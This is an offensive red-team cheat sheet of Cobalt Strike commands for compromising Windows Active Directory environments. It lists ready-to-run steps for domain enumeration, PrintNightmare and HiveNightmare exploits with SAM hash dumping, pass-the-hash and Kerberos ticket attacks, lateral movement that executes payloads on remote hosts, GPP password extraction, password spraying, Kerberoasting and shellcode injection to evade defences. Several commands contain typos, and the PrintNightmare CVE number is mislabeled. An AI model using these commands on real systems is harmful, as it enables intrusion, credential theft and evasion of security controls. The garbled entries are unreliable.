Cobalt Strike Red Team Cheat Sheet


Domain Enumeration

Running PowerView and SharpView

# PowerView:
powershell-import --> Select PowerView.ps1 to import PS1 file in memory
powershell Get-Module PowerView
powershell Get-NetUser -Identity testuser -Domain lab.com

# SharpView
execute-assembly C:\SharpView.exe Invoke-CheckLocalAdminAccess --> Check servers for local admin using current privileges

Running ActiveDirectory module

powershell import --> Select \ADModule\Microsoft.ActiveDirectory.Management.dll  file from https://github.com/samratashok/ADModule
powershell Get-ADDomainController -Domain lab.com

Running Sharphound (.NET version of Bloodhound) for AD domain collection

# Running SharpView in memory (.NET version of PowerView)
execute-assembly C:\SharpHound.exe --CollectionMethod All --Domain lab.com --Stealth --excludedomaincontrollers --windowsonly --OutputDirectory C:\users\testuser\appdata\local\temp\

# Collecting only user sessions to determine who is logged in and where:
execute-assembly C:\SharpHound.exe --CollectionMethod Session,LoggedOn --Outputdirectory C:\temp\

# Collection methods reference: https://bloodhound.readthedocs.io/en/latest/data-collection/sharphound-all-flags.html

AD Recon tool - Perform different collection methods (ACLs, OUs, DCs, etc.) and output to Excel files

powershell-import --> ADRecon.ps1
# Perform all collection methods:
powershell ADRecon -OutputDir .\ -DomainController ops-dc.lab.com

Local Privilege Escalation

PowerUp - PowerSploit module

powershell-import --> PowerUp.ps1
powerpick Invoke-AllChecks | Out-File -Encoding ASCII PowerUp-checks.txt

SharpUp - .NET port of PowerUp

# Run all checks automatically - output to console
execute-assembly C:\SharpUp.exe

SeatBelt - .NET tool by GhostPack

GREAT tool to query a local system to gather system/user/remote/misc data Can be used as Admin or normal-privileged user

# Run ALL checks - returns TONS of data
execute-assembly C:\SeatBelt.exe -group=all -full -outputfile="C:\Temp\SeatBelt-all.json"

# Run only user-related checks - returns things like Chrome data, DPAPI keys, IE tabs, Windows vault/credentials, etc.
execute-assembly C:\SeatBelt.exe -group=user -outputfile="C:\Temp\SeatBelt-user.json"

# Run only system-related checks - returns things like Antivirus, Applocker, env path/variables, local users/groups, WMI, sysmon, UAC, etc.
execute-assembly C:\SeatBelt.exe -group=system -outputfile="C:\Temp\SeatBelt-system.json"

# Run only Chrome checks - returns bookmarks, history, presence
execute-assembly C:\SeatBelt.exe -group=chromium -outputfile="C:\Temp\SeatBelt-chrome.json"

# Run only remote-related checks - returns things like network shares, putty sessions, RDP connections/settings, Filezilla, Windows firewall, etc.
execute-assembly C:\SeatBelt.exe -group=remote -outputfile="C:\Temp\SeatBelt-remote.json"

# Run only miscellaneous-related checks - returns things like Chrome data, logon events, LOBAS, interesting files, downloads, PS events, scheduled tasks, etc.
execute-assembly C:\SeatBelt.exe -group=misc -outputfile="C:\Temp\SeatBelt-misc.json"

Watson - .NET version of Sherlock.ps1 to look for missing KBs on Windows

# Peroform all checks and output to console
# Supports:
    Windows 10 1507, 1511, 1607, 1703, 1709, 1803, 1809, 1903, 1909, 2004
    Server 2016 & 2019
execute-assembly C:\Watson.exe 

PrintNightmare priv esc exploit (CVE-2021-3452)

# Impacket's PrintNightmare: https://github.com/cube0x0/CVE-2021-1675
# Impacket's SharpNightmare (Csharp): https://github.com/cube0x0/CVE-2021-1675/tree/main/SharpPrintNightmare
# PowerShell PrintNightmare local priv esc: https://github.com/calebstewart/CVE-2021-1675

# Local priv esc
execute-assembly C:\SharpPrintNightmare.exe C:\addCube.dll

# RCE using existing context
execute-assembly C:\SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' '\\192.168.1.20'

# RCE using runas /netonly
execute-assembly C:\SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' '\\192.168.1.10' hackit.local domain_user Pass123

HiveNightmare priv esc SAM dump (CVE-2021–36934)

Exploit in Windows 10 and 11 which allows you to read the SAM, SYSTEM and SECURITY hives as a low-privileged user

# First check privileges to read SAM hive
run icacls C:\Windows\System32\config\SAM
--> If the results show success and the group BUILTIN\Users has privileges (I)(RX) then the SAM file should be readable by all users! 

# Exploit: Csharp implementation [HERE](https://github.com/cube0x0/CVE-2021-36934)
execute-assembly C:\CVE-2021-36934.exe
--> Dumps hashes to console upon successful exploitation

Lateral Movement

Cobalt Strike jumping

# Jump using WinRM if it's enabled for the current user on the target system
jump winrm64 ops-jumpbox.lab.com HTTPSLISTENER

# Jump using PsExec if it's enabled for the current user on the target system
jump psexec64 ops-jumpbox.lab.com HTTPSLISTENER

Cobalt Strike remote-exec - Executes commands on a target system using psexec, winrm or wmi

# remote-exec using WMI
remote-exec wmi ops-jumpbox.lab.com cmd.exe /c "C:\Users\Public\payload.exe"

# remote-exec using PsExec
remote-exec psexec ops-jumpbox.lab.com cmd.exe /c "C:\Users\Public\payload.exe"

Enable Powershell Remoting manually

# Enable on local system with Admin privileges
powershell Enable-PSRemoting –Force

# Enable on remote system 
make_token AD\admin Password123! --> Token with Admin privileges on remote system is required
run psexec.exe \\TestComputer.lab.com -h -s powershell.exe Enable-PSRemoting -Force

# Test remote access
powershell Invoke-Command -ComputerName TestComputer -ScriptBlock { whoami; hostname }

RACE.ps1: ACL attacks for lateral movement, persistence and privilege escalation Stealthier than above method since it doesn't touch disk

powershell-import --> RACE.ps1
make_token AD\Admin password --> This tool requires Admin privileges on the remote system being targeted

powershell Set-RemotePSRemoting -SamAccountName testuser -ComputerName ops-jumpbox.lab.com --> Force enable PS remoting for the specific user
powershell Set-RemoteWMI -SamAccountName testuser -Computername ops-jumpbox.lab.com --> (Optional) Force enable WMI for the specific user

# Now we can move laterally in CS with WinRM for the specified user
make_token AD\testuser password
jump [winrm/winrm64] ops-jumpbox.lab.com HTTPSLISTENER

Invoke-TheHash - PS tools to perform SMB and WMI pass-the-hash attacks

powershell-import 
powerpick Invoke-WMIExec -Target 192.168.100.20 -Domain LAB.com -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Command "command or launcher to execute" -verbose
powerpick Invoke-SMBExec -Target 192.168.100.20 -Domain LAB.com -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Command "command or launcher to execute" -verbose

Over-pass-the-hash with Rubeus Inject a ticket into memory using known credentials and then move to a system that user has access to

# Revert to original token in CS
rev2self
# Inject new ticket into memory
execute-assembly C:\Rubeus.exe asktgt /domain:lab.com /user:admin1 /rc4:<NTLM hash> /ptt
# Run network commands as that user
jump winrm64 jumpbox.lab.com

Move Kit Aggressor script using execute-assembly, SharpMove and SharpRPD assemblies for doing lateral movement with various techniques


Domain Privilege Escalation

GPP Passwords

Get-GPPPassword.ps1 PowerSploit module

# Get-GPPPassword Searches a domain controller for groups.xml, scheduledtasks.xml, services.xml and datasources.xml and returns plaintext passwords
powershell-import --> Get-GPPPassword.ps1
powerpick Get-GPPPassword -Server ops-dc01.lab.com

Net-GPPPassword .NET port of get-gpppassword

execute-assembly C:\Net-GPPPassword.exe lab.com

Get-GPPAutologon.ps1 PowerSploit module

# Get-GPPAutologn searches the domain controller for registry.xml to find autologon information and returns the username and password
powershell-import --> Get-GPPAutologon.ps1
powerpick Get-GPPAutolgon

Password spraying

DomainPasswordSpray.ps1

powershell-import --> DomainPasswordSpray.ps1
# Get the full domain user list (Optional)
powershell Get-DomainUserList -Domain lab.com -RemoveDisabled -RemovePotentialLockouts | Out-File -Encoding ascii userlist.txt

# Password spray from a username and password list
powershell Invoke-DomainPasswordSpray -UserList userlist.txt -PasswordList passlist.txt -Domain lab.com -OutFile sprayed-creds.txt

# Auto spray a specific password on an auto-generated user list (very noisy)
powershell Invoke-DomainPasswordSpray -Password Summer2021

Rubeus brute-force password spraying a single password or using a password file

execute-assembbly C:\Rubeus.exe brute /password:Password123! /domain:lab.com /noticket /outfile:passes-sprayed.txt [/passwords:PASSWORDS_FILE>] [/user:USER | /users:USERS_FILE] [/creduser:DOMAIN\\USER & /credpassword:PASSWORD] [/dc:DOMAIN_CONTROLLER]  [/verbose] [/nowrap]

SharpSpray - .NET port of PowerSpray.ps1

# By default it will automatically generate a user list from the domain using LDAP
# Sleeps 30 minutes between each password cycle, delays 300 milliseconds between each password guess attempt
execute-assembly C:\SharpSpray.exe --Passwords Summer2021,Fall2021 --Sleep 30 --Delay 300

Kerberoasting

PowerView kerberoasting (Outdated and still reliant on PowerShell)

# Get users with SPN set
powershell Get-DomainUesr -SPN

# Kerberoast all users
powershell Invoke-Kerberoast - OutputFormat hashcat | fl

# Kerberoast specific user
powershell Invoke-Kerberoast -Identity testaccount -Domain lab.com -OutputFormat hashcat | fl

Rubeus kerberoasting

# Kerberoast all users
execute-assembly C:\Rubeus.exe kerberoast /outfile:KerbHashes.txt /domain:lab.com

# Kerberoast specific user
execute-assembly C:\Rubeus.exe kerberoast /outfile:KerbHash.txt /user:testaccount /domain:lab.com

Defense Evasion

Shellcode injection

Several methods here within Cobalt Strike or using BOFs

# Spawn a beacon into an existing process
inject <PID> <x86|x64> HTTPSLISTENER

# Inject raw shellcode into an existing process
# Create shellcode: Cobbalt Strike --> Attacks --> Packages --> Windows Executable (S) --> Output = Raw --> Creates "beacon.bin" file
shinect <PID> <x86|x64> C:\beacon.bin

# Shellcode injection using Windows syscalls with [BOF script](https://github.com/ajpc500/BOFs)
syscalls_shinject <PIX> C:\beacon.bin

Exploitation

DPAPI decryption and extraction on Windows systems

SharpDPAPI
